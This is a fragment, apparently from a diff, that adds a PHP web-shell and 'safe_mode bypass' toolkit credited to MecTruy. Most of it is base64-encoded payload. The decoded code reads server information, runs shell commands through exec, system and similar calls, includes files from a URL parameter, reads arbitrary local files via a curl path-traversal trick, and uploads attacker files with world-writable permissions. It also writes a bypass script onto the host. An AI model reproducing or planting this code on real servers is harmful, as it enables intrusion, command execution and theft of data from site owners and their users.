+Y29sb3I9IiMwMDAwMDAiPgo8L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAg +ICAgICAgPHRkIHdpZHRoPSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZv +bnRzNDQtTmV0OyBjb2xvcjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQt +d2VpZ2h0OiBib2xkIiBkaXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPktlcm5l +bCA6PC9mb250PiA8P3BocCBlY2hvIEBwaHBfdW5hbWUoKTs/PjwvdGQ+CiAgICAg +IDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxl +PSJmb250LWZhbWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAwOyBm +b250LXNpemU6IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48Zm9u +dCBjb2xvcj1mZmZmZmY+U2VydmVyIDo8L2ZvbnQ+IDw/cGhwIGVjaG8gJF9TRVJW +RVJbJ1NFUlZFUl9OQU1FJ107Pz48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+ +CiAgICAgICAgPHRkIHdpZHRoPSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgx +KUZvbnRzNDQtTmV0OyBjb2xvcjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZv +bnQtd2VpZ2h0OiBib2xkIiBkaXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPlBI +UCA6PC9mb250PiA8P3BocCBlY2hvIHBocHZlcnNpb24oKTs/PjwvdGQ+CiAgICAg +IDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxl +PSJmb250LWZhbWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAwOyBm +b250LXNpemU6IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48Zm9u +dCBjb2xvcj1mZmZmZmY+RGljIDo8L2ZvbnQ+IDw/cGhwIGVjaG8gZ2V0Y3dkKCk7 +Pz48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRo +PSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQtTmV0OyBjb2xv +cjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0OiBib2xkIiBk +aXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPlNhZmVfTW9kZSA6PC9mb250PiA8 +P3BocCBlY2hvIHNhZmVfbW9kZSgpOz8+PC90ZD4KICAgICAgPC90cj4KICAgICAg +PHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgc3R5bGU9ImZvbnQtZmFtaWx5 +OiAoMSlGb250czQ0LU5ldDsgY29sb3I6ICNGRjAwMDA7IGZvbnQtc2l6ZTogOHB0 +OyBmb250LXdlaWdodDogYm9sZCIgZGlyPSJsdHIiPjxmb250IGNvbG9yPWZmZmZm +Zj5Tb2Z0d2FyZSA6PC9mb250PiA8P3BocCBlY2hvIGdldGVudigiU0VSVkVSX1NP +RlRXQVJFIik7Pz48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAgICAgICAg +PHRkIHdpZHRoPSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQt +TmV0OyBjb2xvcjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0 +OiBib2xkIiBkaXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPmlEIDo8L2ZvbnQ+ +IDw/cGhwIGVjaG8gc3lzdGVtKGlkKTs/PjwvdGQ+CiAgICAgIDwvdHI+CiAgICAg +IDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxlPSJmb250LWZhbWls +eTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAwOyBmb250LXNpemU6IDhw +dDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48Zm9udCBjb2xvcj1mZmZm +ZmY+QzBubmVjdCA/IDo8L2ZvbnQ+IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQ +X0NPTk5FQ1RJT04nXSk7Pz4gICA8Zm9udCBjb2xvcj1mZmZmZmY+UG9ydCA6PC9m +b250PiA8P3BocCBlY2hvICgiOiIuJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl0pOz8+ +ICA8L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRo +PSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQtTmV0OyBjb2xv +cjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0OiBib2xkIiBk +aXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPllvdXIgQWdlbnQgOjwvZm9udD4g +PD9waHAgZWNobyAoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTs/PiAgIDxm +b250IGNvbG9yPWZmZmZmZj5Zb3VyIGlwIGluZm8gOjwvZm9udD4gPD9waHAgZWNo +byAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pOz8+ICAgTXlTUUw6IDwvdGQ+CiAg +ICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0 +eWxlPSJmb250LWZhbWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAw +OyBmb250LXNpemU6IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48 +Zm9udCBjb2xvcj1mZmZmZmY+UHJvdG9rb2wgOjwvZm9udD4gPD9waHAgZWNobyAo +JF9TRVJWRVJbIlNFUlZFUl9QUk9UT0NPTCJdKTs/PiAgIDxmb250IGNvbG9yPWZm +ZmZmZj5DaGFyc2V0IDo8L2ZvbnQ+IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQ +X0FDQ0VQVF9DSEFSU0VUJ10pOz8+ICAgPGZvbnQgY29sb3I9ZmZmZmZmPkVuY29k +aW5nIDo8L2ZvbnQ+IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9F +TkNPRElORyddKTs/PiAgIDxmb250IGNvbG9yPWZmZmZmZj5MYW5nIDo8L2ZvbnQ+ +IDw/cGhwIGVjaG8gKCRfU0VSVkVSWydIVFRQX0FDQ0VQVF9MQU5HVUFHRSddKTs/ +PjwvdGQ+CiAgICAgIDwvdHI+CiAgICAgIDx0cj4KICAgICAgPC90cj4KICAgIDwv +dGFibGU+CiAgICA8L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIHdpZHRoPSIx +MDAlIiBoZWlnaHQ9IjEiPjw/cGhwCmlmIChlbXB0eSgkX1BPU1RbJ3ozciddKSl7 +CgkKCWVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+JzsKCWVjaG8gJzxpbnB1dCB0 +eXBlPSJ0ZXh0IiBuYW1lPSJ6M3IiIHNpemU9IjUwIiB2YWx1ZT0iL2hvbWUvaGVk +ZWZ1c2VyL3B1YmxpY19odG1sL2luZGV4LnBocCI+JzsKCWVjaG8gJzxpbnB1dCB0 +eXBlPSJzdWJtaXQiIHZhbHVlPSJFbmNvZGUiPic7CgllY2hvICc8L2Zvcm0+JzsK +fWVsc2V7CgkkYjRzZTY0ID0kX1BPU1RbJ3ozciddOwoJJGhlbm8gPWJhc2U2NF9l +bmNvZGUoJGI0c2U2NCk7CgllY2hvICc8cCBhbGlnbj0iY2VudGVyIj4nOwoJZWNo +byAnPHRleHRhcmVhIG1ldGhvZD0iUE9TVCIgcm93cz0iMSIgY29scz0iODAiIHdy +YXI9Im9mZiI+JzsKCXByaW50ICRoZW5vOwoJZWNobyAnPC90ZXh0YXJlYT4nOwp9 +CgllY2hvICc8Zm9ybSBtZXRob2Q9InBvc3QiIC8+PGlucHV0IHR5cGU9InRleHQi +IG5hbWU9ImN6IiBzaXplPSI1MCIgdmFsdWU9IkVuY29kZSBlZGlsbWkPIGtvZCBi +dXJheWEuLiIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iT0sgISEiIC8+ +PHNlbGVjdCBuYW1lPWRlYz48b3B0aW9uIHZhbHVlPXNob3c+T2t1PC9vcHRpb24+ +PG9wdGlvbiB2YWx1ZT1kZWNvZGU+RGUkaWZyZTwvb3B0aW9uPjwvc2VsZWN0Pjwv +Zm9ybT4nOwoKCWlmKCAhZW1wdHkoJF9QT1NUWydjeiddKSApCgkJaWYgKCRkZWM9 +PSdkZWNvZGUnKXtlY2hvICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+Ijt9 +CgkJZWNobyAiPHAgYWxpZ249bGVmdD48dGV4dGFyZWEgbWV0aG9kPSdQT1NUJyBu +YW1lPSd4Q29kJyBjb2xzPSc2MCcgcm93cz0nMjUnIHdyYXI9J29mZicgPiI7CgkJ +CSRzcz0kX1BPU1RbJ2N6J107CgkJCSRmaWxlID0gYmFzZTY0X2RlY29kZSgkc3Mp +OwoJCQkJCWlmKChjdXJsX2V4ZWMoY3VybF9pbml0KCJmaWxlOmZ0cDovLy4uLy4u +Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4u +Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIu +JGZpbGUpKSkgYU5kIGVtcHRZKCRmaWxlKSkKCQkJCgkJCQlpZiAoJF9QT1NUWydk +ZWMnXT09J2RlY29kZScpe2VjaG8gYmFzZTY0X2VuY29kZSgkX1BPU1RbJ3hDb2Qn +XSk7fQplY2hvICI8L3RleHRhcmVhPjwvcD4iOwo/PjwvdGQ+CiAgPC90cj4KICA8 +dHI+CiAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxlPSJmb250LWZhbWlseTogKDEp +Rm9udHM0NC1OZXQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LXNpemU6IDhwdDsgZm9u +dC13ZWlnaHQ6IGJvbGQiIGhlaWdodD0iMTMiPjw/cGhwIGlmICgkZGVjPT0nZGVj +b2RlJyl7IGVjaG8gIjxwIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1oaWRkZW4g +bmFtZT1jeGMgdmFsdWU9J2Rvd24nPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1 +Ym1pdCB2YWx1ZT0nRG93bkxvYWQnPjwvcD48L2Zvcm0+IjsgfSA/PjwvdGQ+CiAg +PC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxlPSJmb250LWZh +bWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LXNpemU6 +IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGhlaWdodD0iMTMiPgogICAgPHAgYWxp +Z249ImxlZnQiPjxmb250IHNpemU9IjEiPlNpeWFudXIuUEhQIDwvZm9udD4gPGEg +aHJlZj0iaHR0cDovL3d3dy5pbWhhdGltaS5vcmciPgogICAgPGZvbnQgc2l6ZT0i +MSIgY29sb3I9IiM4QjhCOEIiPnd3dy5pbWhhdGltaS5vcmc8L2ZvbnQ+PC9hPiAg +IDxhIGhyZWY9Imh0dHA6Ly93d3cuc3B5aGFja2Vyei5jb20iPgogICAgPGZvbnQg +c2l6ZT0iMSIgY29sb3I9IiM4QjhCOEIiPnd3dy5zcHloYWNrZXJ6LmNvbTwvZm9u +dD48L2E+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMTAwJSIg +c3R5bGU9ImZvbnQtZmFtaWx5OiAoMSlGb250czQ0LU5ldDsgY29sb3I6ICNGRkZG +RkY7IGZvbnQtc2l6ZTogOHB0OyBmb250LXdlaWdodDogYm9sZCIgaGVpZ2h0PSIx +MyI+CiAgICA8cCBhbGlnbj0ibGVmdCI+IDxmb250IHNpemU9IjEiPkNvZGVkIEJ5 +IE1lY1RydXk8L2ZvbnQ+PC90ZD4KICA8L3RyPgo8L3RhYmxlPgogIDwvY2VudGVy +Pgo8L2Rpdj4KPC9ib2R5Pgo8L2h0bWw+'); +$Version = @phpversion(); +$fileS = base64_decode("PGh0bWwgZGlyPSJsdHIiPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVu +dC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiPgo8dGl0 +bGU+U0FGRSBNT0RFIEJZUEFTUzwvdGl0bGU+CjxzdHlsZSB0eXBlPSJ0ZXh0L2Nz +cyIgbWVkaWE9InNjcmVlbiI+CmJvZHkgewoJZm9udC1zaXplOiAxMHB4OwoJZm9u +dC1mYW1pbHk6IHZlcmRhbmE7Cn0KSU5QVVQgewoJQk9SREVSLVRPUC1XSURUSDog +MXB4OyBGT05ULVdFSUdIVDogYm9sZDsgQk9SREVSLUxFRlQtV0lEVEg6IDFweDsg +Rk9OVC1TSVpFOiAxMHB4OyBCT1JERVItTEVGVC1DT0xPUjogI0Q1MDQyODsgQkFD +S0dST1VORDogIzU5MDAwOTsgQk9SREVSLUJPVFRPTS1XSURUSDogMXB4OyBCT1JE +RVItQk9UVE9NLUNPTE9SOiAjRDUwNDI4OyBDT0xPUjogIzAwZmYwMDsgQk9SREVS +LVRPUC1DT0xPUjogI0Q1MDQyODsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IEJPUkRF +Ui1SSUdIVC1XSURUSDogMXB4OyBCT1JERVItUklHSFQtQ09MT1I6ICNENTA0MjgK +fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IGRpcj0ibHRyIiBhbGluaz0iIzAwZmYw +MCIgIGJnY29sb3I9IiMwMDAwMDAiIGxpbms9IiMwMGMwMDAiIHRleHQ9IiMwMDgw +MDAiIHZsaW5rPSIjMDBjMDAwIj4KPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBl +PSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249Ij8iPgpFbnRlciBUaGUgPEEg +aHJlZj0nP2luZm89MScgPiBUYXJnZXQgUGF0aCA8L0E+OjxCUj48QlI+CjxpbnB1 +dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSI8P3BocCBlY2hvICRf +U0VSVkVSWydET0NVTUVOVF9ST09UJ107ID8+IiBzaXplPSI1MCI+PEJSPipUYXJn +ZXQgbXVzdCBiZSB3cml0ZWFibGUhPEJSPjxCUj4KRmlsZSBDb250ZW50OjxCUj48 +QlI+CjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJGMSIgc2l6ZT0iNTAiPjxCUj48 +QlI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9IlVwbG9hZCIgdmFsdWU9IlVw +bG9hZCI+CjwvZm9ybT4KPD9waHAKZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9O +T1RJQ0UpOwoKaWYoaXNzZXQoJF9HRVRbJ2luZm8nXSkgJiYgJF9HRVRbJ2luZm8n +XSA9PSAxKQp7CglpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcp +KQoJewoJCWlmIChpc3NldCgkX1BPU1RbJ2YnXSkgJiYgaXNzZXQoJF9QT1NUWyds +J10pKQoJCXsKCQkJJGYgPSBpbnR2YWwoJF9QT1NUWydmJ10pOwoJCQkkbCA9IGlu +dHZhbCgkX1BPU1RbJ2wnXSk7CgkJCXdoaWxlICgkZiA8ICRsKQoJCQl7CgkJCQkk +dWlkID0gcG9zaXhfZ2V0cHd1aWQoJGYpOwoJCQkJaWYgKCR1aWQpCgkJCQl7CgkJ +CQkJJHVpZFsiZGlyIl0gPSAiPGEgaHJlZj1cIlwiPiIuJHVpZFsiZGlyIl0uIjwv +YT4iOwoJCQkJCWVjaG8gam9pbigiOiIsJHVpZCkuIjxicj4iOwoJCQkJfQoJCQkJ +JGYrKzsKCQkJfQoJCX0gZWxzZQoJCXsKCQkJZWNobyAnCgkJCTxmb3JtIG1ldGhv +ZD0iUE9TVCIgYWN0aW9uPSI/aW5mbz0xIj5VaWQgIAoJCQlGUk9NIDogPGlucHV0 +IHR5cGU9InRleHQiIG5hbWU9ImYiIHZhbHVlPSIxIiBzaXplPSI0Ij4KCQkJVE8g +OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibCIgdmFsdWU9IjEwMDAiIHNpemU9 +IjQiPgoJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJTaG93IiB2YWx1ZT0i +U2hvdyI+JzsKCQl9Cgl9IGVsc2UgZGllKCJTb3JyeSEgUG9zaXggRnVuY3Rpb25z +IGFyZSBkaXNhYmxlZCBpbiB5b3VyIGJveCwgVGhlcmUgaXMgbm8gd2F5IHRvIG9i +dGFpbiB1c2VycyBwYXRoISBZb3UgbXVzdCBlbnRlciBpdCBtYW51YWxseSEiKTsK +CWRpZSgpOwp9CgppZihpc3NldCgkX1BPU1RbJ1VwbG9hZCddKSAmJiBpc3NldCgk +X1BPU1RbJ3RhcmdldCddKSAmJiAkX1BPU1RbJ3RhcmdldCddICE9ICIiKQp7Cgkk +TXlVaWQgICA9IGdldG15dWlkKCk7CgkkTXlVbmFtZSA9IGdldF9jdXJyZW50X3Vz +ZXIoKTsKCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSkKCXsK +CQkkSHR0cGRVaWQgICA9IHBvc2l4X2dldGV1aWQoKTsKCQkkSHR0cGRJbmZvICA9 +IHBvc2l4X2dldHB3dWlkKCRIdHRwZFVpZCk7CgkJJEh0dHBkVW5hbWUgPSAiKCIu +JEh0dHBkSW5mb1snbmFtZSddLiIpIjsKCX0gZWxzZQoJewoJCSROZXdTY3JpcHQg +PSBAZm9wZW4oJ2J5cGFzcy5waHAnLCd3KycpOwoJCWlmICghJE5ld1NjcmlwdCkK +CQl7CgkJCWRpZSgnTWFrZSB0aGUgQ3VycmVudCBkaXJlY3RvcnkgV3JpdGVhYmxl +IChDaG1vZCA3NzcpIGFuZCB0cnkgYWdhaW4nKTsKCQl9IGVsc2UgICRIdHRwZFVp +ZCA9IGZpbGVvd25lcignYnlwYXNzLnBocCcpOwoJfQoKCWlmICgkTXlVaWQgIT0g +JEh0dHBkVWlkKQoJewoJCWVjaG8gIlRoaXMgU2NyaXB0IFVzZXIgKCRNeVVpZCkg +YW5kIGh0dHBkIFByb2Nlc3MgVXNlciAoJEh0dHBkVWlkKSBkb250IG1hdGNoISI7 +CgkJZWNobyAiIFdlIFdpbGwgY3JlYXRlIGEgY29weSBvZiB0aGlzIFNjcmlwdCB3 +aXRoIGh0dHBkIFVzZXIgJEh0dHBkVW5hbWUKCQlpbiBjdXJyZW50IGRpcmVjdG9y +eS4uLiIuIjxCUj4iOwoJCWlmICghJE5ld1NjcmlwdCkKCQl7CgkJCSROZXdTY3Jp +cHQgPSBAZm9wZW4oJ2J5cGFzcy5waHAnLCd3KycpOwoJCQlpZiAoISROZXdTY3Jp +cHQpCgkJCXsKCQkJCWRpZSgnTWFrZSB0aGUgQ3VycmVudCBkaXJlY3RvcnkgV3Jp +dGVhYmxlIChDaG1vZCA3NzcpIGFuZCB0cnkgYWdhaW4nKTsKCQkJfQoJCX0KCQkk +VGVtcCA9IGZvcGVuKF9fRklMRV9fICwncicpOwoJCXdoaWxlICghZmVvZigkVGVt +cCkpCgkJewoJCQkkQnVmZmVyID0gZmdldHMoJFRlbXApOwoJCQlmd3JpdGUoJE5l +d1NjcmlwdCwkQnVmZmVyKTsKCQl9CgkJZmNsb3NlKCRUZW1wKTsKCQlmY2xvc2Uo +JE5ld1NjcmlwdCk7CgkJZWNobyAiUGxlYXNlIFJ1biA8QSBocmVmPSdieXBhc3Mu +cGhwJz4gVGhpcyA8L0E+IFNjcmlwdCI7CgkJZGllKCk7CQoJfQoJCgkkVGFyZ2V0 +UGF0aCA9IHRyaW0oJF9QT1NUWyd0YXJnZXQnXSk7CgkkVGFyZ2V0RmlsZSA9IHRl +bXBuYW0oJFRhcmdldFBhdGgsIkJQIik7CglpZiAoc3Ryc3RyKCRUYXJnZXRGaWxl +LCAkVGFyZ2V0UGF0aCkgPT0gVFJVRSkKCXsKCQllY2hvICRUYXJnZXRGaWxlLiIg +U3VjY2Vzc2Z1bGx5IGNyZWF0ZWQhPEJSPiI7Cgl9IGVsc2UgZGllKCIkVGFyZ2V0 +UGF0aCBkb2VzbnQgZXhpc3Qgb3IgaXMgbm90IHdyaXRlYWJsZSEgY2hvb3NlIGFu +b3RoZXIgcGF0aCEiKTsKCglpZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNb +J0YxJ11bJ3RtcF9uYW1lJ10sICRUYXJnZXRGaWxlKSkKCXsKCQllY2hvICI8QlI+ +JFRhcmdldEZpbGUgaXMgdmFsaWQsIGFuZCB3YXMgc3VjY2Vzc2Z1bGx5IHVwbG9h +ZGVkLiI7Cgl9IGVsc2UKCXsKCQlkaWUoIjxCUj4kVGFyZ2V0RmlsZSBDb3VsZCBu +b3QgdXBsb2FkLiIpOwoJfQoJY2htb2QoJFRhcmdldEZpbGUgLCAwNzc3KTsKfQoK +Pz4="); +$fpS = @fopen("$Version-B.php",'w'); +$fwS = @fwrite($fpS,$fileS); +if ($fwS) { +echo "[+] ByPasser Successful Created : $Version-B.php"; +} +else { +Echo "[+] No Perm !
        "; +} +@fclose($fpS); +break; +case '5.2.6' : +CreateByPasser('PD9waHAKaWYgKCRfR0VUWyd4J10pIHsgaW5jbHVkZSgkX0dFVFsneCddKTsgfQpp +ZiAoJF9QT1NUWydjeGMnXT09J2Rvd24nKSB7CmhlYWRlcigiQ29udGVudC1kaXNw +b3NpdGlvbjogZmlsZW5hbWU9ZGVjb2RlLnR4dCIpOwpoZWFkZXIoIkNvbnRlbnQt +dHlwZTogYXBwbGljYXRpb24vb2N0ZXRzdHJlYW0iKTsKaGVhZGVyKCJQcmFnbWE6 +IG5vLWNhY2hlIik7CmhlYWRlcigiRXhwaXJlczogMCIpOwplcnJvcl9yZXBvcnRp +bmcoMCk7CmVjaG8gYmFzZTY0X2RlY29kZSgkX1BPU1RbJ3hDb2QnXSk7CmV4aXQ7 +Cn0KPz4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+U2l5YW51ci5QSFAgNS4yLjYgLyA1 +LjIuNiBzYWZlX21vZGUgSGFuZGxlciBieXBhc3MgKEJldGEgRnJlZSBFZGl0aW9u +KSAgLSBQb3dlcmVkIEJ5IE1lY1RydXk8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5IGJn +Y29sb3I9IiMwMDAwMDAiPgo8Zm9udCBjb2xvcj1GRjgwMDA+Cjxmb250IGZhY2U9 +dmVyZGFuYT4KPD9waHAKaWYgKGVtcHR5KCRfUE9TVFsncGhwaW5mbyddICkpIHsK +CX1lbHNlewoJZWNobyAkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1 +bmMpKSA/IHBocGluZm8oKSA6ICJwaHBpbmZvKCkiOwoJZXhpdDsKfQpmdW5jdGlv +biBnZXRzeXN0ZW0oKQp7cmV0dXJuIHBocF91bmFtZSgncycpLiIgIi5waHBfdW5h +bWUoJ3InKS4iICIucGhwX3VuYW1lKCd2Jyk7fTsgCmZ1bmN0aW9uIHNhZmVfbW9k +ZSgpewppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjaDBsZCIp +LCJoMGxkIikhPTMpeyRfU0VTU0lPTlsnc2FmZV9tb2RlJ10gPSAxO3JldHVybiAi +PGI+PGZvbnQgY29sb3I9IzgwMDAwMCBmYWNlPVZlcmRhbmE+T048L2ZvbnQ+PC9i +PiI7fWVsc2V7ICAgJF9TRVNTSU9OWydzYWZlX21vZGUnXSA9IDA7cmV0dXJuICI8 +Zm9udCBjb2xvcj0jMDA4MDAwPjxiPk9GRjwvYj48L2ZvbnQ+Ijt9Cn07ZnVuY3Rp +b24gZXgoJGluKXsKJG91dCA9ICcnOwppZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMn +KSl7ZXhlYygkaW4sJG91dCk7JG91dCA9IGpvaW4oIlxuIiwkb3V0KTt9ZWxzZWlm +KGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7b2Jfc3RhcnQoKTtwYXNzdGhy +dSgkaW4pOyRvdXQgPSBvYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9 +CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtvYl9zdGFydCgpO3N5 +c3RlbSgkaW4pOyRvdXQgPSBvYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4o +KTt9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JG91dCA9 +IHNoZWxsX2V4ZWMoJGluKTt9CmVsc2VpZihpc19yZXNvdXJjZSgkZiA9IHBvcGVu +KCRpbiwiciIpKSl7JG91dCA9ICIiO3doaWxlKCFAZmVvZigkZikpIHsgJG91dCAu +PSBmcmVhZCgkZiwxMDI0KTt9CnBjbG9zZSgkZik7fQpyZXR1cm4gJG91dDt9Cj8+ +CiAgPHRyPgogICAgPHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjQzIj4KCiAgICA8 +dGFibGUgYm9yZGVyPSIxIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAi +IGJvcmRlcmNvbG9yPSIjNTQ1NDU0IiB3aWR0aD0iMTAwJSIgaWQ9IkF1dG9OdW1i +ZXIyIiBiZ2NvbG9yPSIjNDI0MjQyIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBj +b2xsYXBzZSI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIGJn +Y29sb3I9IiMwMDAwMDAiPgo8L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAg +ICAgICAgPHRkIHdpZHRoPSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZv +bnRzNDQtTmV0OyBjb2xvcjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQt +d2VpZ2h0OiBib2xkIiBkaXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPktlcm5l +bCA6PC9mb250PiA8P3BocCBlY2hvIEBwaHBfdW5hbWUoKTs/PjwvdGQ+CiAgICAg +IDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxl +PSJmb250LWZhbWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAwOyBm +b250LXNpemU6IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48Zm9u +dCBjb2xvcj1mZmZmZmY+U2VydmVyIDo8L2ZvbnQ+IDw/cGhwIGVjaG8gJF9TRVJW +RVJbJ1NFUlZFUl9OQU1FJ107Pz48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+ +CiAgICAgICAgPHRkIHdpZHRoPSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgx +KUZvbnRzNDQtTmV0OyBjb2xvcjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZv +bnQtd2VpZ2h0OiBib2xkIiBkaXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPlBI +UCA6PC9mb250PiA8P3BocCBlY2hvIHBocHZlcnNpb24oKTs/PjwvdGQ+CiAgICAg +IDwvdHI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjEwMCUiIHN0eWxl +PSJmb250LWZhbWlseTogKDEpRm9udHM0NC1OZXQ7IGNvbG9yOiAjRkYwMDAwOyBm +b250LXNpemU6IDhwdDsgZm9udC13ZWlnaHQ6IGJvbGQiIGRpcj0ibHRyIj48Zm9u +dCBjb2xvcj1mZmZmZmY+RGljIDo8L2ZvbnQ+IDw/cGhwIGVjaG8gZ2V0Y3dkKCk7 +Pz48L3RkPgogICAgICA8L3RyPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRo +PSIxMDAlIiBzdHlsZT0iZm9udC1mYW1pbHk6ICgxKUZvbnRzNDQtTmV0OyBjb2xv +cjogI0ZGMDAwMDsgZm9udC1zaXplOiA4cHQ7IGZvbnQtd2VpZ2h0OiBib2xkIiBk +aXI9Imx0ciI+PGZvbnQgY29sb3I9ZmZmZmZmPlNhZmVfTW9kZSA6PC9mb250PiA8 +P3BocCBlY2hvIHNhZmVfbW9kZSgpOz8+PC90ZD4KICAgICAgPC90cj4KICAgICAg +PHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMTAwJSIgc3R5bGU9ImZvbnQtZmFtaWx5 +OiAoMSlGb250czQ0LU5ldDsgY29sb3I6ICNGRjAwMDA7IGZvbnQtc2l6ZTogOHB0 +OyBmb250LXdlaWdodDogYm9sZCIgZGlyPSJsdHIiPjxmb250IGNvbG9yPWZmZmZm 